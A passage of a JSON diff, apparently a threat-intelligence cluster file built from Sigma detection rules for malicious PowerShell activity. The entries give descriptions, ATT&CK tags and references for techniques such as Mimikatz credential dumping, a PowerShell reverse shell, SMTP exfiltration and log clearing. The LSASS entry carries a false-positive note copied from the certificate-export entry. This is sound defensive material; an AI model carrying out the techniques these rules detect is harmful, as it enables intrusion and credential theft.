"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", + "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", + "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/19", + "filename": "posh_ps_msxml_com.yml", + "author": "frack113, MatilJ", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names and arguments from the Nishang exploitation framework", + "uuid": "f772cee9-b7c2-4cb2-8f07-49870adc02e0", + "value": "Malicious Nishang PowerShell Commandlets", + "meta": { + "refs": [ + "https://github.com/samratashok/nishang", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/05/16", + "filename": "posh_ps_nishang_malicious_commandlets.yml", + "author": "Alec Costello", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", + "uuid": "8c521530-5169-495d-a199-0a3a881ad24e", + "value": "NTFS Alternate Data Stream", + "meta": { + "refs": [ + "http://www.powertheshell.com/ntfsstreams/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/07/24", + "filename": "posh_ps_ntfs_ads_access.yml", + "author": "Sami Ruohonen", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", + "uuid": "36fbec91-fa1b-4d5d-8df1-8d8edcb632ad", + "value": "Code Executed Via Office Add-in XLL File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.006" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_office_comobject_registerxll.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.", + "uuid": "189e3b02-82b2-4b90-9662-411eb64486d4", + "value": "Potential Invoke-Mimikatz PowerShell Script", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/09/28", + "filename": "posh_ps_potential_invoke_mimikatz.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Mimikatz can be useful for testing the security of networks" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.", + "uuid": "dcd74b95-3f36-4ed9-9598-0490951643aa", + "value": "Malicious PowerView PowerShell Commandlets", + "meta": { + "refs": [ + "https://powersploit.readthedocs.io/en/stable/Recon/README", + "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", + "https://thedfirreport.com/2020/10/08/ryuks-return", + "https://adsecurity.org/?p=2277", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/05/18", + "filename": "posh_ps_powerview_malicious_commandlets.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Should not be any as administrators do not use this tool" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell calling a credential prompt", + "uuid": "ca8b77a9-d499-4095-b793-5d5f330d450e", + "value": "PowerShell Credential Prompt", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/850381440629981184", + "https://t.co/ezOTGy1a1G", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/04/09", + "filename": "posh_ps_prompt_credentials.yml", + "author": "John Lambert (idea), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell", + "uuid": "afd3df04-948d-46f6-ae44-25966c44b97f", + "value": "PSAsyncShell - Asynchronous TCP Reverse Shell", + "meta": { + "refs": [ + "https://github.com/JoelGMSec/PSAsyncShell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/10/04", + "filename": "posh_ps_psasyncshell.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of PSAttack PowerShell hack tool", + "uuid": "b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5", + "value": "PowerShell PSAttack", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_psattack.yml", + "author": "Sean Metcalf (source), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", + "uuid": "a0edd39f-a0c6-4c17-8141-261f958e8d8f", + "value": "PowerShell Remote Session Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/06", + "filename": "posh_ps_remote_session_creation.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Powershell Remove-Item with -Path to delete a file or a folder with \"-Recurse\"", + "uuid": "b8af5f36-1361-4ebe-9e76-e36128d947bf", + "value": "Use Remove-Item to Delete File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/01/15", + "filename": "posh_ps_remove_item_path.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", + "uuid": "a861d835-af37-4930-bcd6-5b178bfb54df", + "value": "Request A Single Ticket via PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_request_kerberos_ticket.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "uuid": "42821614-9264-4761-acfc-5772c3286f76", + "value": "Root Certificate Installed", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2020/10/10", + "filename": "posh_ps_root_certificate_installed.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "medium", + "falsepositive": [ + "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", + "uuid": "902cedee-0398-4e3a-8183-6f3a89773a96", + "value": "Suspicious Invoke-Item From Mount-DiskImage", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", + "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ], + "creation_date": "2022/02/01", + "filename": "posh_ps_run_from_mount_diskimage.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nThis may include things such as firewall rules and anti-viru\n", + "uuid": "904e8e61-8edf-4350-b59c-b905fc8e810c", + "value": "Security Software Discovery by Powershell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2021/12/16", + "filename": "posh_ps_security_software_discovery.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", + "uuid": "9a7afa56-4762-43eb-807d-c3dc9ffe211b", + "value": "Powershell Exfiltration Over SMTP", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2", + "https://www.ietf.org/rfc/rfc2821.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2022/09/26", + "filename": "posh_ps_send_mailmessage.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect adversaries enumerate sensitive files", + "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997", + "value": "Powershell Sensitive File Discovery", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1570814999370801158", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2022/09/16", + "filename": "posh_ps_sensitive_file_discovery.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Set-ExecutionPolicy to set insecure policies", + "uuid": "61d0475c-173f-4844-86f7-f3eebae1c66b", + "value": "Change PowerShell Policies to an Insecure Level", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", + "https://adsecurity.org/?p=2604", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/10/20", + "filename": "posh_ps_set_policies_to_unsecure_level.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Base64 encoded Shellcode", + "uuid": "16b37b70-6fcf-4814-a092-c36bd3aafcbd", + "value": "PowerShell ShellCode", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1063072865992523776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/11/17", + "filename": "posh_ps_shellcode_b64.yml", + "author": "David Ledbetter (shellcode), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names from ShellIntel exploitation scripts.", + "uuid": "402e1e1d-ad59-47b6-bf80-1ee44985b3a7", + "value": "Malicious ShellIntel PowerShell Commandlets", + "meta": { + "refs": [ + "https://github.com/Shellntel/scripts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/08/09", + "filename": "posh_ps_shellintel_malicious_commandlets.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", + "uuid": "2650dd1a-eb2a-412d-ac36-83f06c4f2282", + "value": "Detected Windows Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", + "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518" + ], + "creation_date": "2020/10/16", + "filename": "posh_ps_software_discovery.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", + "uuid": "a699b30e-d010-46c8-bbd1-ee2e26765fe9", + "value": "Powershell Store File In Alternate Data Stream", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/09/02", + "filename": "posh_ps_store_file_in_alternate_data_stream.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", + "uuid": "88f0884b-331d-403d-a3a1-b668cf035603", + "value": "AD Groups Or Users Enumeration Using PowerShell - ScriptBlock", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_ps_susp_ad_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of known powershell cmdlets such as \"Clear-EventLog\" to clear the windows event logs", + "uuid": "0f017df3-8f5a-414f-ad6b-24aff1128278", + "value": "Suspicious Eventlog Clear", + "meta": { + "refs": [ + "https://twitter.com/oroneequalsone/status/1568432028361830402", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001" + ], + "creation_date": "2022/09/12", + "filename": "posh_ps_susp_clear_eventlog.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", + "uuid": "162e69a7-7981-4344-84a9-0f1c9a217a52", + "value": "Powershell Directory Enumeration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_directory_enum.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download command", + "uuid": "403c2cc0-7f6b-4925-9423-bfa573bed7eb", + "value": "Suspicious PowerShell Download", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_susp_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", + "uuid": "b5522a23-82da-44e5-9c8b-e10ed8955f88", + "value": "Powershell Execute Batch Script", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/01/02", + "filename": "posh_ps_susp_execute_batch_script.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administration script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", + "uuid": "aa7a3fce-bef5-4311-9cc1-5f04bb8c308c", + "value": "Suspicious Export-PfxCertificate", + "meta": { + "refs": [ + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", + "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2021/04/23", + "filename": "posh_ps_susp_export_pfxcertificate.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", + "uuid": "bd5971a7-626d-46ab-8176-ed643f694f68", + "value": "Extracting Information with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2021/12/19", + "filename": "posh_ps_susp_extracting.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", + "uuid": "03409c93-a7c7-49ba-9a4c-a00badf2a153", + "value": "Troubleshooting Pack Cmdlet Execution", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1537919885031772161", + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/21", + "filename": "posh_ps_susp_follina_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", + "uuid": "84c174ab-d3ef-481f-9c86-a50d0b8e3edb", + "value": "PowerShell Get-Process LSASS in ScriptBlock", + "meta": { + "refs": [ + "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/04/23", + "filename": "posh_ps_susp_getprocess_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Powershell code that execute COM Objects", + "uuid": "8bc063d5-3a3a-4f01-a140-bc15e55e8437", + "value": "Suspicious GetTypeFromCLSID ShellExecute", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/04/02", + "filename": "posh_ps_susp_gettypefromclsid.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "utilize Get-AdComputer to enumerate Computers within Active Directory.", + "uuid": "36bed6b2-e9a0-4fff-beeb-413a92b86138", + "value": "Suspicious Enumerate Active Directory Computers with Get-AdComputer", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adcomputer.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_adcomputer.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", + "uuid": "bbb9495b-58fc-4016-b9df-9a3a1b67ca82", + "value": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", + "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1201" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_addefaultdomainpasswordpolicy.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Get-AdGroup to enumerate Groups within Active Directory", + "uuid": "8c3a6607-b7dc-4f0d-a646-ef38c00b76ee", + "value": "Suspicious Enumerate Active Directory Groups with Get-AdComputer", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adgroup.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.002" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_adgroup.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of PowerShell to identify the current logged user.", + "uuid": "4096a49c-7de4-4da0-a230-c66ccd56ea5a", + "value": "Suspicious PowerShell Get Current User", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", + 